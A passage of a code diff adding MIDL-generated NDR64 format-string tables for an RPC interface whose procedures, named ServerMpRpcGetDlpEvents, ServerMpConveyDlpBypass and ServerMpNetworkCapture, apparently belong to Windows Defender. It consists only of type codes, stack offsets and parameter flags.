+ 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 152 /* 0x98 */, + 0, + 0, + &__midl_frag1510, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1496_t __midl_frag1496 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1495_t __midl_frag1495 = +{ +/* **Struct_3370_t */ + { + /* **Struct_3370_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3370_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1496 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1662 + } +}; + +static const __midl_frag1494_t __midl_frag1494 = +{ +/* **Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1495 +}; + +static const __midl_frag1493_t __midl_frag1493 = +{ +/* ***Struct_3370_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1494 +}; + +static const __midl_frag1489_t __midl_frag1489 = +{ +/* Proc158_ServerMpRpcGetDlpEvents */ + { + /* Proc158_ServerMpRpcGetDlpEvents */ /* procedure Proc158_ServerMpRpcGetDlpEvents */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1493, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1479_t __midl_frag1479 = +{ +/* Proc157_ServerMpShowDlpDetailsDialog */ + { + /* Proc157_ServerMpShowDlpDetailsDialog */ /* procedure Proc157_ServerMpShowDlpDetailsDialog */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2266, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1468_t __midl_frag1468 = +{ +/* Proc156_ServerDlpMpConveyNewPrinterConnection */ + { + /* Proc156_ServerDlpMpConveyNewPrinterConnection */ /* procedure Proc156_ServerDlpMpConveyNewPrinterConnection */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2266, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1453_t __midl_frag1453 = +{ +/* Proc155_ServerDlpMpCheckAccessForPrintOperation */ + { + /* Proc155_ServerDlpMpCheckAccessForPrintOperation */ /* procedure Proc155_ServerDlpMpCheckAccessForPrintOperation */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2367, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag1442_t __midl_frag1442 = +{ +/* Proc154_ServerMpConveyDlpBypass */ + { + /* Proc154_ServerMpConveyDlpBypass */ /* procedure Proc154_ServerMpConveyDlpBypass */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1436_t __midl_frag1436 = +{ +/* Proc153_ServerMpNetworkCapture */ + { + /* Proc153_ServerMpNetworkCapture */ /* procedure Proc153_ServerMpNetworkCapture */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], 